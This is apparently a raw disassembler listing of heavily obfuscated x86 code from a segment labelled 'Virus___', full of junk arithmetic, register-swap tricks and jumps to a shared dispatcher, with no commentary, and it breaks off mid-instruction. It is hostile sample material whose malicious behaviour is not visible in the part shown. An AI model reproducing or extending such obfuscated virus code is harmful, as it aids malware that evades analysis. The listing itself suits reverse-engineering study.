Virus___:005558D7j inc ah jmp loc_558485 ; --------------------------------------------------------------------------- loc_54FA90: ; CODE XREF: Virus___:00559DFFj mov bh, al mov dl, bh jmp loc_561683 ; --------------------------------------------------------------------------- loc_54FA99: ; CODE XREF: Virus___:0055D424j push 364Ah mov [esp], ebp push edx pop ebp jmp loc_552D9C ; --------------------------------------------------------------------------- loc_54FAA8: ; CODE XREF: Virus___:0055FAF2j push 2E3Bh mov [esp], esi push dword ptr [esp+4] jmp loc_5569F0 ; --------------------------------------------------------------------------- loc_54FAB9: ; CODE XREF: Virus___:0055B142j push 4720h mov [esp], ebx push esp mov ebx, [esp] jmp loc_55B1B2 ; --------------------------------------------------------------------------- loc_54FACA: ; CODE XREF: Virus___:005608CBj pop edi xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_552C46 ; --------------------------------------------------------------------------- loc_54FAD9: ; CODE XREF: Virus___:00552990j inc ecx jmp loc_55B2E9 ; --------------------------------------------------------------------------- loc_54FADF: ; CODE XREF: Virus___:0055C3BBj add ebp, 6458398Ch sub ebp, 21BE76D2h jmp loc_550193 ; --------------------------------------------------------------------------- loc_54FAF0: ; CODE XREF: Virus___:00556658j shr esi, 6 jmp loc_552B17 ; --------------------------------------------------------------------------- loc_54FAF8: ; CODE XREF: Virus___:00560AA4j xor ebp, esi pop esi and ebp, 49DB42EFh push edi mov edi, 29722730h xor edi, 64356186h add ebp, edi pop edi add eax, 512320D1h sub eax, ebp sub eax, 512320D1h pop ebp sub eax, 0DCF24A8h sub eax, edi jmp loc_55D2D0 ; --------------------------------------------------------------------------- loc_54FB29: ; CODE XREF: Virus___:005550C0j add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_55A2A7 ; --------------------------------------------------------------------------- loc_54FB3D: ; CODE XREF: Virus___:00558361j push 0 push dword ptr [esp] jmp loc_5608EE ; --------------------------------------------------------------------------- loc_54FB4A: ; CODE XREF: Virus___:005619DDj add esp, 4 add edi, 2 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov cx, [esp] jmp loc_55C965 ; --------------------------------------------------------------------------- loc_54FB6B: ; CODE XREF: Virus___:0055F189j neg ebx jmp loc_564745 ; --------------------------------------------------------------------------- loc_54FB72: ; CODE XREF: Virus___:00561D69j add edi, 0FFFFFFFFh sub edi, 9BA89F13h add eax, edi jmp loc_554759 ; --------------------------------------------------------------------------- loc_54FB82: ; CODE XREF: Virus___:0055DDCEj mov edx, [esp] add esp, 4 jmp loc_5533E8 ; --------------------------------------------------------------------------- loc_54FB90: ; CODE XREF: Virus___:005641A6j shl ebx, 1 or ebx, 6316651Bh xor ebx, 6F9677BBh add ecx, ebx pop ebx xchg ecx, [esp] jmp loc_55526E ; --------------------------------------------------------------------------- loc_54FBA9: ; CODE XREF: Virus___:0055BA0Aj mov bl, 0C1h jmp loc_563F78 ; --------------------------------------------------------------------------- loc_54FBB0: ; CODE XREF: Virus___:00557B47j push eax push edi mov edi, 63EC450Dh sub [esp+4], edi jmp loc_561D3F ; --------------------------------------------------------------------------- loc_54FBC0: ; CODE XREF: Virus___:005530E7j push 3AF6788Dh mov ecx, [esp] jmp loc_5544F5 ; --------------------------------------------------------------------------- loc_54FBCD: ; CODE XREF: Virus___:005614E0j and edx, 32B40D87h add edx, 0FE6E1966h add edi, 78B13819h add edi, edx sub edi, 78B13819h jmp loc_55B973 ; --------------------------------------------------------------------------- loc_54FBEC: ; CODE XREF: Virus___:00557A3Ej add esp, 4 xor ebp, esi pop esi jmp loc_5505EF ; --------------------------------------------------------------------------- loc_54FBFA: ; CODE XREF: Virus___:00562FB8j mov edi, esp add edi, 4 push esi mov esi, 4 sub edi, esi jmp loc_554185 ; --------------------------------------------------------------------------- loc_54FC0F: ; CODE XREF: Virus___:0055534Aj and ecx, 77760E2Fh dec ecx xchg esi, ecx inc esi xchg esi, ecx jmp loc_554990 ; --------------------------------------------------------------------------- loc_54FC20: ; CODE XREF: Virus___:0055E9A4j or ebp, 5CD26E1Ah inc ebp neg ebp add ebp, 7FFF6E9Fh add ecx, ebp pop ebp xchg ebx, ecx push ebx not dword ptr [esp] pop ebx push ecx jmp loc_55D54E ; --------------------------------------------------------------------------- loc_54FC3F: ; CODE XREF: Virus___:0056303Ej push eax push 7244h mov [esp], ecx mov ecx, 2 push edi jmp loc_55FF6D ; --------------------------------------------------------------------------- loc_54FC53: ; CODE XREF: Virus___:00553F74j push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_551E5A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_54FC76: ; CODE XREF: Virus___:0055C16Ej push edi mov edi, 4 add [esp+4], edi pop edi mov esi, [esp] push ecx jmp loc_55BCE2 ; --------------------------------------------------------------------------- loc_54FC8A: ; CODE XREF: Virus___:0055D0AAj pop eax push 7D00h mov [esp], ecx push 66EFh jmp loc_55C916 ; --------------------------------------------------------------------------- loc_54FC9D: ; CODE XREF: Virus___:0055B8C4j pop esp mov esi, [esp] add esp, 4 xor eax, ecx xor ecx, eax xor eax, ecx push esi push esp mov esi, [esp] add esp, 4 add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push ecx mov ecx, 6FC430B8h xor ecx, 6FC430B9h mov edx, ecx mov ecx, [esp] jmp loc_55B0DC ; --------------------------------------------------------------------------- loc_54FCD8: ; CODE XREF: Virus___:005531BBj or edx, eax shl edx, 1 sub esp, 4 mov [esp], esi push ebx mov ebx, esp push ebp jmp loc_550AAA ; --------------------------------------------------------------------------- mov ax, [esp] push 203Eh mov [esp], edi jmp loc_561BC9 ; --------------------------------------------------------------------------- loc_54FCFC: ; CODE XREF: Virus___:00562F38j xchg edi, [esp] pop esp push edx push dword ptr [esp+4] mov edx, [esp] jmp loc_5526DB ; --------------------------------------------------------------------------- loc_54FD0D: ; CODE XREF: Virus___:005539D8j and ecx, edx pop edx dec ecx add ecx, 7A49339Eh xor ecx, 0A3122458h add edx, ecx mov ecx, [esp] add esp, 4 xor edx, 4B98DB3Bh jmp loc_550464 ; --------------------------------------------------------------------------- loc_54FD30: ; CODE XREF: Virus___:0055366Cj pop ebx pop edx add esi, 1 add esi, 0D17FC511h add eax, esi pop esi jmp loc_55D323 ; --------------------------------------------------------------------------- loc_54FD46: ; CODE XREF: Virus___:005587BFj push 418Eh jmp loc_555225 ; --------------------------------------------------------------------------- loc_54FD50: ; CODE XREF: Virus___:0055C08Bj pop edx add esp, 4 push ebx push 674Ah jmp loc_552984 ; --------------------------------------------------------------------------- loc_54FD62: ; CODE XREF: Virus___:0055AB0Fj xchg ecx, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi jmp loc_5625B5 ; --------------------------------------------------------------------------- loc_54FD76: ; CODE XREF: Virus___:00557C59j add esp, 4 jmp loc_558B46 ; --------------------------------------------------------------------------- loc_54FD7E: ; CODE XREF: Virus___:00554AC8j sub bl, al sub bl, 0E9h pop eax jmp loc_556013 ; --------------------------------------------------------------------------- loc_54FD89: ; CODE XREF: Virus___:00553FCFj sub eax, 0DA980EA3h sub esi, eax pop eax jmp loc_55895C ; --------------------------------------------------------------------------- loc_54FD96: ; CODE XREF: Virus___:00559A78j pop esp xchg bl, ch push eax jmp loc_5579C9 ; --------------------------------------------------------------------------- loc_54FD9F: ; CODE XREF: Virus___:005576B1j shl esi, 6 and esi, 418D0B32h xor esi, 0F372EB4Eh sub ebx, esi pop esi push ebx pop ebp pop ebx or eax, ebp jmp loc_55E1A1 ; --------------------------------------------------------------------------- loc_54FDBB: ; CODE XREF: Virus___:0055C068j pop ebx pop dword ptr [esp] jmp loc_55B71B ; --------------------------------------------------------------------------- loc_54FDC4: ; CODE XREF: Virus___:0056116Aj shl al, 3 jmp loc_558437 ; --------------------------------------------------------------------------- loc_54FDCC: ; CODE XREF: Virus___:0055C5F4j and eax, ecx push dword ptr [esp] jmp loc_55C0A8 ; --------------------------------------------------------------------------- loc_54FDD6: ; CODE XREF: Virus___:00564BABj xor edx, 0E21580Dh shr edx, 1 jmp loc_561057 ; --------------------------------------------------------------------------- loc_54FDE3: ; CODE XREF: Virus___:00560152j mov eax, 0BF154DDh add eax, 0D55C15Eh mov ebp, eax pop eax push esi mov esi, 242561C8h jmp loc_55CD3D ; --------------------------------------------------------------------------- loc_54FDFB: ; CODE XREF: Virus___:005647A0j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_54FE0D: ; CODE XREF: Virus___:00563844j push ebx jmp loc_5605C7 ; --------------------------------------------------------------------------- loc_54FE13: ; CODE XREF: Virus___:00550BFCj sub ebx, eax pop eax push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 sub ebx, eax push eax jmp loc_55C2B7 ; --------------------------------------------------------------------------- loc_54FE2A: ; CODE XREF: Virus___:005622D6j mov esi, esp push ecx jmp loc_551F2A ; --------------------------------------------------------------------------- loc_54FE32: ; CODE XREF: Virus___:00560C65j add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] sub esp, 4 jmp loc_556464 ; --------------------------------------------------------------------------- loc_54FE55: ; CODE XREF: Virus___:0055DDC7j mov ah, 7 jmp loc_5513C2 ; --------------------------------------------------------------------------- loc_54FE5C: ; CODE XREF: Virus___:0055D009j add ebx, esi pop esi xchg ebx, [esp] pop esp pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5600B6 ; --------------------------------------------------------------------------- loc_54FE72: ; CODE XREF: Virus___:00561A89j mov esi, 529D7960h sub ebx, esi mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_55E954 ; --------------------------------------------------------------------------- loc_54FE91: ; CODE XREF: Virus___:00556FA8j push eax push 0B8Ch mov [esp], edx pop eax pop edx neg edx xchg eax, edx shr eax, 3 shr eax, 1 sub eax, 3820D4Ch push edi mov edi, eax mov ebp, edi mov edi, [esp] jmp loc_55F665 ; --------------------------------------------------------------------------- loc_54FEB6: ; CODE XREF: Virus___:0055C59Cj add ecx, 64DE1021h xor ecx, 2FF62225h sub ebx, ecx pop ecx jmp loc_55F673 ; --------------------------------------------------------------------------- loc_54FECA: ; CODE XREF: Virus___:005595A2j mov esp, [esp] mov [esp], ecx jmp loc_55D0C1 ; --------------------------------------------------------------------------- loc_54FED5: ; CODE XREF: Virus___:005562E9j sub esp, 4 mov [esp], edi push 6885h jmp loc_564750 ; --------------------------------------------------------------------------- loc_54FEE5: ; CODE XREF: Virus___:00560781j pop esi push 5D49h mov [esp], ebx jmp loc_5640EA ; --------------------------------------------------------------------------- loc_54FEF3: ; CODE XREF: Virus___:00558008j shr edx, 5 jmp loc_554798 ; --------------------------------------------------------------------------- loc_54FEFB: ; CODE XREF: Virus___:00562531j sub esp, 4 mov [esp], ecx mov ecx, 3F5841D6h shr ecx, 2 push eax push edx mov edx, 203F34DFh mov eax, 0E941D3C7h add eax, edx mov edx, [esp] add esp, 4 xor ecx, eax pop eax shl ecx, 5 jmp loc_5618E6 ; --------------------------------------------------------------------------- loc_54FF2B: ; CODE XREF: Virus___:005626A0j mov ebx, esp jmp loc_553B06 ; --------------------------------------------------------------------------- loc_54FF32: ; CODE XREF: Virus___:0055B3F4j add esp, 4 add esp, 4 jmp loc_55A67B ; --------------------------------------------------------------------------- loc_54FF40: ; CODE XREF: Virus___:00550D73j mov [esp], eax mov eax, 31AB49D4h jmp loc_55A092 ; --------------------------------------------------------------------------- loc_54FF4D: ; CODE XREF: Virus___:0055B0B0j add ecx, 4 xchg ecx, [esp] pop esp jmp locret_558CFF ; --------------------------------------------------------------------------- loc_54FF59: ; CODE XREF: Virus___:00551897j add esp, 4 mov edx, 0D2CB235Ch jmp loc_5615E5 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push 6A8Fh mov [esp], ebx push esp pop ebx add ebx, 4 push 25Eh mov [esp], eax mov eax, esp jmp loc_55C44F ; --------------------------------------------------------------------------- loc_54FF8C: ; CODE XREF: Virus___:00556F08j add eax, 67670912h push esi jmp loc_561923 ; --------------------------------------------------------------------------- loc_54FF97: ; CODE XREF: Virus___:00553C00j mov eax, [esp] add esp, 4 and edx, edi pop edi not edx or edx, 678C124Bh sub esp, 4 mov [esp], ebx mov ebx, 0 sub ebx, edx mov edx, ebx jmp loc_564B7C ; --------------------------------------------------------------------------- loc_54FFBF: ; CODE XREF: Virus___:00550419j mov ecx, [esp] jmp loc_56181A ; --------------------------------------------------------------------------- loc_54FFC7: ; CODE XREF: Virus___:00558E2Fj push dword ptr [esp] jmp loc_555BAB ; --------------------------------------------------------------------------- loc_54FFCF: ; CODE XREF: Virus___:00558836j pop ecx push eax pop edx mov eax, [esp] add esp, 4 jmp loc_5584FE ; --------------------------------------------------------------------------- loc_54FFDD: ; CODE XREF: Virus___:0055D621j push ecx push 84A78B8Dh mov ecx, [esp] add esp, 4 xor ebp, ecx mov ecx, [esp] jmp loc_55D8C2 ; --------------------------------------------------------------------------- mov cx, [esp] push 61CEh mov [esp], edx push esp mov edx, [esp] jmp loc_558E4E ; --------------------------------------------------------------------------- loc_550008: ; CODE XREF: Virus___:00553715j add bl, dl jmp loc_54F965 ; --------------------------------------------------------------------------- loc_55000F: ; CODE XREF: Virus___:0055A2EBj push edi mov edi, 128113D5h mov esi, edi pop edi jmp loc_555843 ; --------------------------------------------------------------------------- loc_55001D: ; CODE XREF: Virus___:00555FF4j mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi push eax mov eax, 4 jmp loc_55D3A2 ; --------------------------------------------------------------------------- loc_550036: ; CODE XREF: Virus___:005562DDj mov bl, ah jmp loc_5515B8 ; --------------------------------------------------------------------------- loc_55003D: ; CODE XREF: Virus___:0055C6B3j or esi, 3EAF4710h jmp loc_563BE2 ; --------------------------------------------------------------------------- loc_550048: ; CODE XREF: Virus___:00563A2Cj sub esi, 1AAF02FCh pop ebp sub esi, 29FB51DDh push dword ptr [esp] mov ebp, [esp] push edx mov edx, esp add edx, 4 jmp loc_56346E ; --------------------------------------------------------------------------- loc_550069: ; CODE XREF: Virus___:00564050j push edi mov edi, 0B239417Ah sub edx, 4E0C4B33h add edx, edi add edx, 4E0C4B33h mov edi, [esp] add esp, 4 add ebp, 44F93150h add ebp, edx sub ebp, 44F93150h mov edx, [esp] add esp, 4 jmp loc_55B6EC ; --------------------------------------------------------------------------- loc_55009F: ; CODE XREF: Virus___:00552142j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xchg edx, [esp] pop esp mov [esp], ebp push 17F6h jmp loc_55D6DD ; --------------------------------------------------------------------------- loc_5500BD: ; CODE XREF: Virus___:005559D6j pop edx add esp, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], esi not dword ptr [esp] push dword ptr [esp] jmp loc_554928 ; --------------------------------------------------------------------------- loc_5500D9: ; CODE XREF: Virus___:0055844Fj sub esi, 4 xchg esi, [esp] jmp loc_55FCFC ; --------------------------------------------------------------------------- loc_5500E4: ; CODE XREF: Virus___:00560FDBj add esp, 4 jmp loc_55C301 ; --------------------------------------------------------------------------- loc_5500EF: ; CODE XREF: Virus___:0055C236j add esi, 0CB9ACC19h add edi, esi pop esi push 5146h mov [esp], eax mov eax, 4 add edi, eax pop eax xchg edi, [esp] pop esp jmp loc_553FAA ; --------------------------------------------------------------------------- loc_550111: ; CODE XREF: Virus___:00553686j mov [esp], ebp push 31F1h mov [esp], ecx jmp loc_5594E5 ; --------------------------------------------------------------------------- loc_550121: ; CODE XREF: Virus___:0055B21Fj mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_55AD6D ; --------------------------------------------------------------------------- loc_550137: ; CODE XREF: Virus___:00558965j not edi xor edi, 0CD5AEFFAh mov ecx, edi jmp loc_55FC99 ; --------------------------------------------------------------------------- loc_550146: ; CODE XREF: Virus___:0055EC25j pop ebp jmp loc_56458C ; --------------------------------------------------------------------------- loc_55014C: ; CODE XREF: Virus___:0055825Ej mov ebx, eax pop eax mov edi, 67289BB0h sub edi, 8D71622h sub edi, ebx add edi, 8D71622h mov ebx, [esp] add esp, 4 sub edi, 0FFFFFFFFh shr edi, 2 jmp loc_559D79 ; --------------------------------------------------------------------------- loc_550176: ; CODE XREF: Virus___:00552930j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55017B: ; CODE XREF: Virus___:00550611j push edi mov edi, 2E5B6Fh xor edi, 271660BFh jmp loc_556AF4 ; --------------------------------------------------------------------------- loc_55018C: ; CODE XREF: Virus___:00553A65j mov ch, dl jmp loc_554DDB ; --------------------------------------------------------------------------- loc_550193: ; CODE XREF: Virus___:0054FAEBj add ebp, 762D2F77h mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push ecx push ebp push esi mov esi, 416122AEh sub esi, 47404887h jmp loc_55CC75 ; --------------------------------------------------------------------------- loc_5501BB: ; CODE XREF: Virus___:00550B1Fj mov ebx, 567F44CCh jmp loc_55A836 ; --------------------------------------------------------------------------- loc_5501C5: ; CODE XREF: Virus___:0055D953j sub ecx, 4 jmp loc_553F79 ; --------------------------------------------------------------------------- loc_5501D0: ; CODE XREF: Virus___:005579B6j push ebx jmp loc_55FFE2 ; --------------------------------------------------------------------------- loc_5501D6: ; CODE XREF: Virus___:0055F5CEj mov [esp], edi push ecx mov ecx, 7A267879h jmp loc_558ADD ; --------------------------------------------------------------------------- lodsb jmp loc_56148B ; --------------------------------------------------------------------------- loc_5501EA: ; CODE XREF: Virus___:0055E19Cj neg ebp jmp loc_5624BD ; --------------------------------------------------------------------------- loc_5501F1: ; CODE XREF: Virus___:0055E032j push small 3FC5h mov [esp], dx push ax pushf jmp loc_564C88 ; --------------------------------------------------------------------------- loc_550201: ; CODE XREF: Virus___:005633EBj pop eax mov eax, [esp] add esp, 4 jmp loc_550E0F ; --------------------------------------------------------------------------- loc_55020D: ; CODE XREF: Virus___:00561E25j mov [esp], ecx push esp pop ecx push eax mov eax, 7C073D79h inc eax dec eax neg eax shl eax, 1 jmp loc_555CCC ; --------------------------------------------------------------------------- loc_550223: ; CODE XREF: Virus___:0055A748j pop esp push eax jmp loc_55D872 ; --------------------------------------------------------------------------- loc_55022A: ; CODE XREF: Virus___:005526E1j mov esp, [esp] jmp loc_55D37F ; --------------------------------------------------------------------------- mov eax, [esp] push 574Fh mov [esp], eax jmp loc_559E04 ; --------------------------------------------------------------------------- loc_550242: ; CODE XREF: Virus___:005534D5j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_55ED60 ; --------------------------------------------------------------------------- loc_550254: ; CODE XREF: Virus___:00550EE4j add ebp, esi jmp loc_553536 ; --------------------------------------------------------------------------- loc_55025B: ; CODE XREF: Virus___:0056478Ej mov [esp], ebp jmp loc_5525EC ; --------------------------------------------------------------------------- loc_550263: ; CODE XREF: Virus___:0055F20Ej xor [esp], esi xor esi, [esp] jmp loc_55D9EB ; --------------------------------------------------------------------------- loc_55026E: ; CODE XREF: Virus___:0055BFF3j pop esp xchg esi, [esp] mov esp, [esp] push 5767h mov [esp], esi push 4F2h mov [esp], ebx push ebp push 278B2E32h jmp loc_55BE67 ; --------------------------------------------------------------------------- loc_550290: ; CODE XREF: Virus___:0055A81Fj sub dword ptr [esp+4], 5F2E7D47h add dword ptr [esp+4], 5D89705Fh sub [esp+4], esi jmp loc_5559E2 ; --------------------------------------------------------------------------- loc_5502A9: ; CODE XREF: Virus___:00552C88j mov [esp], edi push edx push 14786B88h pop edx sub esp, 4 mov [esp], ebx mov ebx, 7D4929A5h shr ebx, 5 jmp loc_5507B7 ; --------------------------------------------------------------------------- loc_5502C6: ; CODE XREF: Virus___:0056262Ej sub al, 96h push ecx push ebx jmp loc_5524AD ; --------------------------------------------------------------------------- loc_5502CF: ; CODE XREF: Virus___:0055B6FAj add ebp, 780712EBh pop edx xchg ebp, [esp] jmp loc_553725 ; --------------------------------------------------------------------------- loc_5502DE: ; CODE XREF: Virus___:00557FCFj add ebp, 47484C67h add eax, ebp pop ebp xor eax, 4B2C3914h add ebp, eax pop eax add ebp, 4 xor ebp, [esp] jmp loc_5538C4 ; --------------------------------------------------------------------------- loc_5502FA: ; CODE XREF: Virus___:005639B8j add ebx, 0CCA3369h sub ebx, ebp sub ebx, 0CCA3369h add ebx, 5D4C2A79h mov ebp, [esp] add esp, 4 jmp loc_551EB0 ; --------------------------------------------------------------------------- loc_55031C: ; CODE XREF: Virus___:00558CE2j sub ebx, eax push edx push eax jmp loc_56311D ; --------------------------------------------------------------------------- loc_550325: ; CODE XREF: Virus___:00554E88j mov eax, [esp] add esp, 4 xchg edx, edi not edx xchg edx, edi shl edi, 8 jmp loc_54F973 ; --------------------------------------------------------------------------- loc_55033C: ; CODE XREF: Virus___:0055FF03j xor eax, 0B80CEA65h and esi, eax jmp loc_561F89 ; --------------------------------------------------------------------------- loc_550348: ; CODE XREF: Virus___:00555A97j push 3A1Bh mov [esp], esi push 3FF6h push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] jmp loc_563660 ; --------------------------------------------------------------------------- loc_550368: ; CODE XREF: Virus___:00551DF9j push 495Ah mov [esp], ecx mov ecx, esp jmp loc_55DFE0 ; --------------------------------------------------------------------------- loc_550377: ; CODE XREF: Virus___:0055EDE2j mov [esp], esi mov esi, esp push 4C98h mov [esp], ecx push 4 pop ecx sub esi, 518A6B7Ah add esi, ecx jmp loc_5615B0 ; --------------------------------------------------------------------------- loc_550397: ; CODE XREF: Virus___:00555589j xor esi, edi pop edi jmp loc_55FEAE ; --------------------------------------------------------------------------- loc_55039F: ; CODE XREF: Virus___:0055BEFEj add ebx, eax add ebx, 5645659Ah push dword ptr [esp] pop eax add esp, 4 sub ebx, 0F960B1Dh sub ebx, eax push esi mov esi, 54960D87h sub esi, 4500026Ah add ebx, esi mov esi, [esp] add esp, 4 sub ebx, 570D1E69h push small word ptr [eax] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5503D8: ; CODE XREF: Virus___:00562680j push dword ptr [esp] pop edx push 48D2h mov [esp], edx push 5A60h mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 jmp loc_560790 ; --------------------------------------------------------------------------- loc_5503FC: ; CODE XREF: Virus___:005621DBj sub bh, 66h push dx mov dl, 52h jmp loc_55BA16 ; --------------------------------------------------------------------------- loc_550408: ; CODE XREF: Virus___:005588A1j mov ecx, 4 sub eax, 3F132F71h add eax, ecx add eax, 3F132F71h jmp loc_54FFBF ; --------------------------------------------------------------------------- loc_55041E: ; CODE XREF: Virus___:00553C2Aj push dword ptr [esp] jmp loc_55D774 ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_550430: ; CODE XREF: Virus___:00563460j div cx push small 4F08h mov [esp], dx push ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_550443: ; CODE XREF: Virus___:0055C600j push ecx push eax jmp loc_559FE9 ; --------------------------------------------------------------------------- loc_55044A: ; CODE XREF: Virus___:0055DE90j mov esi, [esp] add esp, 4 add ebp, esi pop esi sub esp, 4 jmp loc_5578D4 ; --------------------------------------------------------------------------- loc_55045B: ; CODE XREF: Virus___:0055D36Cj mov [esp], ebp push ebx jmp loc_55E2D5 ; --------------------------------------------------------------------------- loc_550464: ; CODE XREF: Virus___:0054FD2Bj sub ecx, 72B96CB2h sub ecx, 257C6AD5h jmp loc_5547E9 ; --------------------------------------------------------------------------- loc_550475: ; CODE XREF: Virus___:0055654Dj jmp loc_54F7ED ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55368B ; --------------------------------------------------------------------------- loc_550483: ; CODE XREF: Virus___:00559FDBj push esi mov esi, edi mov ecx, esi pop esi mov edi, [esp] jmp loc_55C7CF ; --------------------------------------------------------------------------- loc_550491: ; CODE XREF: Virus___:00556C33j inc ecx xor ecx, 16034F38h add eax, ecx pop ecx push ebx jmp loc_55496D ; --------------------------------------------------------------------------- loc_5504A1: ; CODE XREF: Virus___:00559031j mov [esp], ebp mov ebp, 21880D27h add edi, ebp jmp loc_5619D3 ; --------------------------------------------------------------------------- loc_5504B0: ; CODE XREF: Virus___:0055AB7Cj add ebx, 89E1398Dh jmp loc_5513F6 ; --------------------------------------------------------------------------- loc_5504BB: ; CODE XREF: Virus___:005510A6j pop ecx push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_552A87 ; --------------------------------------------------------------------------- loc_5504CC: ; CODE XREF: Virus___:00560AB1j pop ecx add eax, 79BE7AF8h jmp loc_557C33 ; --------------------------------------------------------------------------- loc_5504D7: ; CODE XREF: Virus___:0055CC13j push eax mov eax, 317667C9h add eax, 4B713963h shr eax, 1 inc eax sub eax, 659C162Bh sub eax, 0D8D7BA6Ah add esi, eax pop eax xchg esi, [esp] pop esp sub word ptr [esp+2], 119Ah jmp loc_554489 ; --------------------------------------------------------------------------- loc_550502: ; CODE XREF: Virus___:0055C9A0j pop edi and ebx, edi push dword ptr [esp] pop edi add esp, 4 xor ebx, 23246100h push 2DF6h mov [esp], edx jmp loc_564474 ; --------------------------------------------------------------------------- loc_550522: ; CODE XREF: Virus___:005601B5j mov [esp], eax jmp loc_55E08D ; --------------------------------------------------------------------------- loc_55052A: ; CODE XREF: Virus___:005638E6j push 16B5h push 79CFh jmp loc_5571FF ; --------------------------------------------------------------------------- loc_550539: ; CODE XREF: Virus___:005649EFj add esp, 4 push ebp sub esp, 4 mov [esp], esi push 3485644Eh jmp loc_5596DF ; --------------------------------------------------------------------------- loc_550553: ; CODE XREF: Virus___:0055D475j mov edi, 2010585h add ebx, edi pop edi jmp loc_55E3BD ; --------------------------------------------------------------------------- loc_550560: ; CODE XREF: Virus___:00561B67j mov ebp, [esp] add esp, 4 xor ecx, 622422A0h jmp loc_562685 ; --------------------------------------------------------------------------- loc_550571: ; CODE XREF: Virus___:00555796j mov dx, [esp] add esp, 2 push ecx push edx mov dl, 9Eh shr dl, 7 and dl, 0F2h push ebx jmp loc_5611C7 ; --------------------------------------------------------------------------- loc_55058B: ; CODE XREF: Virus___:0055F6EDj pop esp push 575Ah mov [esp], ebx push 1EA2h mov [esp], eax push 744830FDh mov eax, [esp] jmp loc_551062 ; --------------------------------------------------------------------------- loc_5505A9: ; CODE XREF: Virus___:00552305j push edx jmp loc_55F4FF ; --------------------------------------------------------------------------- loc_5505AF: ; CODE XREF: Virus___:00550D20j xchg eax, esi shr esi, 6 push eax mov eax, 71984148h add esi, eax pop eax add eax, esi jmp loc_55A5F9 ; --------------------------------------------------------------------------- loc_5505C3: ; CODE XREF: Virus___:0054F896j mov ah, bh pop ebx mov [edx], ah pop eax jmp loc_5555AA ; --------------------------------------------------------------------------- loc_5505CE: ; CODE XREF: Virus___:00563C0Cj push esi mov esi, 0DBC4839h xor esi, 50F06240h sub esp, 4 mov [esp], edx push edi jmp loc_556619 ; --------------------------------------------------------------------------- loc_5505E6: ; CODE XREF: Virus___:0055453Fj push ebx not dword ptr [esp] jmp loc_559011 ; --------------------------------------------------------------------------- loc_5505EF: ; CODE XREF: Virus___:0054FBF5j add ebx, ebp pop ebp movzx ax, byte ptr [eax] push small 6E1Ah mov [esp], ax jmp loc_55B2E4 ; --------------------------------------------------------------------------- loc_550603: ; CODE XREF: Virus___:005576A2j sub ebp, 202F0F5Eh jmp loc_5622E2 ; --------------------------------------------------------------------------- loc_55060E: ; CODE XREF: Virus___:00554C8Cj and edx, edi pop edi jmp loc_55017B ; --------------------------------------------------------------------------- loc_550616: ; CODE XREF: Virus___:0055630Dj mov ebx, 1Ch jmp loc_550942 ; --------------------------------------------------------------------------- loc_550620: ; CODE XREF: Virus___:005552DFj push edi mov edi, 22703797h jmp loc_561C53 ; --------------------------------------------------------------------------- loc_55062B: ; CODE XREF: Virus___:0055629Fj pop ebx jmp loc_560CC2 ; --------------------------------------------------------------------------- loc_550631: ; CODE XREF: Virus___:00562B59j mov esi, [esp] jmp loc_558BE3 ; --------------------------------------------------------------------------- loc_550639: ; CODE XREF: Virus___:00554F9Ej jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55063E: ; CODE XREF: Virus___:0056412Cj mov cl, 0ACh add al, cl pop cx push edx mov dh, 0CFh jmp loc_56472B ; --------------------------------------------------------------------------- loc_55064C: ; CODE XREF: Virus___:0055BDB5j add esp, 4 push esi jmp loc_56383E ; --------------------------------------------------------------------------- loc_550658: ; CODE XREF: Virus___:005594D3j mov ebx, [esp] add esp, 4 add al, 76h jmp loc_55ECD9 ; --------------------------------------------------------------------------- loc_550665: ; CODE XREF: Virus___:0055C9D3j shr esi, 4 inc esi jmp loc_5571D0 ; --------------------------------------------------------------------------- loc_55066E: ; CODE XREF: Virus___:0055BFB6j pop ebp sub ecx, 0A610B778h sub edx, ecx pop ecx push 3BA1h jmp loc_5626C5 ; --------------------------------------------------------------------------- loc_550682: ; CODE XREF: Virus___:0055A206j sub esp, 4 mov [esp], ebx add dword ptr [esp], 68E75DA3h mov ecx, [esp] push 6B90h mov [esp], ebx jmp loc_55611E ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_55D9DA ; --------------------------------------------------------------------------- loc_5506AA: ; CODE XREF: Virus___:00552C41j sub eax, edx sub eax, 5F9746F5h jmp loc_559D25 ; --------------------------------------------------------------------------- loc_5506B6: ; CODE XREF: Virus___:0056024Cj sub ebx, 7C1D7450h jmp loc_558CE1 ; --------------------------------------------------------------------------- loc_5506C1: ; CODE XREF: Virus___:0055D992j mov eax, esp add eax, 4 push ebx push ebp mov ebp, 6190748Eh push eax mov eax, 709324FEh mov ebx, 5D61957Bh add ebx, eax pop eax add ebx, 